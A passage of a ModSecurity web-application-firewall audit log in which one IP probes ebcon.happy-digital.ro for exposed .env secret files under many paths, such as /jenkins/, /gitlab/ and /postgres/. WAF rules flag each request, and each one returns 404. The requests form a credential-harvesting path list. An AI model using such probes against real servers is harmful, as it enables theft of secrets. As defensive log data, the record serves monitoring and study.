User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--4b555b58-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--4b555b58-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/.env||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/.git/.env"] [unique_id "aqYMWWM7dE9KgIIOpQhd9wAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/.env||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ebcon.happy-digital.ro"] [uri "/.git/.env"] [unique_id "aqYMWWM7dE9KgIIOpQhd9wAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267033483093 132615 (- - -)
Stopwatch2: 1789267033483093 132615; combined=5001, p1=939, p2=3936, p3=0, p4=0, p5=125, sr=117, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4b555b58-Z--
--8909b51e-A--
[13/Sep/2026:05:37:15.052455 +0300] aqYMWmM7dE9KgIIOpQhd@AAAANU 34.175.231.24 46668 127.0.0.1 7081
--8909b51e-B--
GET /ci/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--8909b51e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8909b51e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/ci/.env"] [unique_id "aqYMWmM7dE9KgIIOpQhd@AAAANU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267034939674 112848 (- - -)
Stopwatch2: 1789267034939674 112848; combined=4831, p1=337, p2=4430, p3=0, p4=0, p5=63, sr=157, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8909b51e-Z--
--26d9015d-A--
[13/Sep/2026:05:37:17.111478 +0300] aqYMXEwu1RSkptiiNIXtxgAAAIg 34.175.231.24 41992 127.0.0.1 7081
--26d9015d-B--
GET /cd/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--26d9015d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--26d9015d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/cd/.env"] [unique_id "aqYMXEwu1RSkptiiNIXtxgAAAIg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267036997063 114496 (- - -)
Stopwatch2: 1789267036997063 114496; combined=4803, p1=267, p2=4460, p3=0, p4=0, p5=75, sr=112, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--26d9015d-Z--
--e60bf642-A--
[13/Sep/2026:05:37:18.937497 +0300] aqYMXisVWymXUono-eRQvAAAABY 34.175.231.24 42014 127.0.0.1 7081
--e60bf642-B--
GET /jenkins/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--e60bf642-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e60bf642-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/jenkins/.env"] [unique_id "aqYMXisVWymXUono-eRQvAAAABY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267038783368 154189 (- - -)
Stopwatch2: 1789267038783368 154189; combined=21012, p1=254, p2=4465, p3=0, p4=0, p5=8173, sr=79, sw=1, l=0, gc=8119
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e60bf642-Z--
--3c3a3033-A--
[13/Sep/2026:05:37:20.760644 +0300] aqYMYGM7dE9KgIIOpQhd@gAAAM4 34.175.231.24 42020 127.0.0.1 7081
--3c3a3033-B--
GET /gitlab/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--3c3a3033-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--3c3a3033-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/gitlab/.env"] [unique_id "aqYMYGM7dE9KgIIOpQhd@gAAAM4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267040642577 118200 (- - -)
Stopwatch2: 1789267040642577 118200; combined=4416, p1=249, p2=4106, p3=0, p4=0, p5=61, sr=103, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3c3a3033-Z--
--b2d63136-A--
[13/Sep/2026:05:37:22.919020 +0300] aqYMYkwu1RSkptiiNIXtxwAAAI0 34.175.231.24 42036 127.0.0.1 7081
--b2d63136-B--
GET /github/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--b2d63136-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b2d63136-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/github/.env"] [unique_id "aqYMYkwu1RSkptiiNIXtxwAAAI0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267042791300 127787 (- - -)
Stopwatch2: 1789267042791300 127787; combined=7481, p1=499, p2=6055, p3=0, p4=0, p5=926, sr=133, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b2d63136-Z--
--e77b2c6d-A--
[13/Sep/2026:05:37:24.495661 +0300] aqYMZEwu1RSkptiiNIXtyAAAAJM 34.175.231.24 42048 127.0.0.1 7081
--e77b2c6d-B--
GET /actions/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--e77b2c6d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e77b2c6d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/actions/.env"] [unique_id "aqYMZEwu1RSkptiiNIXtyAAAAJM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267044370406 125317 (- - -)
Stopwatch2: 1789267044370406 125317; combined=5384, p1=269, p2=4127, p3=0, p4=0, p5=988, sr=123, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e77b2c6d-Z--
--b8bf7125-A--
[13/Sep/2026:05:37:26.498392 +0300] aqYMZisVWymXUono-eRQvQAAABc 34.175.231.24 39546 127.0.0.1 7081
--b8bf7125-B--
GET /circleci/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--b8bf7125-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b8bf7125-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/circleci/.env"] [unique_id "aqYMZisVWymXUono-eRQvQAAABc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267046379141 119331 (- - -)
Stopwatch2: 1789267046379141 119331; combined=4536, p1=245, p2=4231, p3=0, p4=0, p5=60, sr=102, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b8bf7125-Z--
--02a75c08-A--
[13/Sep/2026:05:37:28.640908 +0300] aqYMaEwu1RSkptiiNIXtyQAAAJA 34.175.231.24 39568 127.0.0.1 7081
--02a75c08-B--
GET /travis/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--02a75c08-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--02a75c08-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/travis/.env"] [unique_id "aqYMaEwu1RSkptiiNIXtyQAAAJA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267048527041 113947 (- - -)
Stopwatch2: 1789267048527041 113947; combined=4155, p1=239, p2=3853, p3=0, p4=0, p5=62, sr=97, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--02a75c08-Z--
--49a1d979-A--
[13/Sep/2026:05:37:30.345351 +0300] aqYMajTJ6xTvcJoem7f1lQAAAEU 34.175.231.24 39572 127.0.0.1 7081
--49a1d979-B--
GET /buildkite/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--49a1d979-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--49a1d979-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/buildkite/.env"] [unique_id "aqYMajTJ6xTvcJoem7f1lQAAAEU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267050217481 127926 (- - -)
Stopwatch2: 1789267050217481 127926; combined=5900, p1=360, p2=5486, p3=0, p4=0, p5=54, sr=143, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--49a1d979-Z--
--72b64d78-A--
[13/Sep/2026:05:37:32.320366 +0300] aqYMbEwu1RSkptiiNIXtygAAAJY 34.175.231.24 39582 127.0.0.1 7081
--72b64d78-B--
GET /mysql/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--72b64d78-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--72b64d78-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/mysql/.env"] [unique_id "aqYMbEwu1RSkptiiNIXtygAAAJY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267052164571 155852 (- - -)
Stopwatch2: 1789267052164571 155852; combined=9552, p1=538, p2=8960, p3=0, p4=0, p5=54, sr=219, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--72b64d78-Z--
--04d73876-A--
[13/Sep/2026:05:37:34.456822 +0300] aqYMbmM7dE9KgIIOpQhd-QAAAMU 34.175.231.24 39588 127.0.0.1 7081
--04d73876-B--
GET /postgres/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--04d73876-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--04d73876-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/postgres/.env"] [unique_id "aqYMbmM7dE9KgIIOpQhd-QAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267054298107 158792 (- - -)
Stopwatch2: 1789267054298107 158792; combined=7674, p1=576, p2=7035, p3=0, p4=0, p5=62, sr=209, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--04d73876-Z--
--c1cd9d13-A--
[13/Sep/2026:05:37:36.130103 +0300] aqYMb0wu1RSkptiiNIXtywAAAJg 34.175.231.24 43070 127.0.0.1 7081
--c1cd9d13-B--
GET /mongodb/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--c1cd9d13-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c1cd9d13-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/mongodb/.env"] [unique_id "aqYMb0wu1RSkptiiNIXtywAAAJg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267055990712 139448 (- - -)
Stopwatch2: 1789267055990712 139448; combined=6170, p1=1036, p2=5080, p3=0, p4=0, p5=53, sr=97, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c1cd9d13-Z--
--a5540354-A--
[13/Sep/2026:05:37:38.007899 +0300] aqYMcUwu1RSkptiiNIXtzQAAAIE 34.175.231.24 43108 127.0.0.1 7081
--a5540354-B--
GET /redis/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
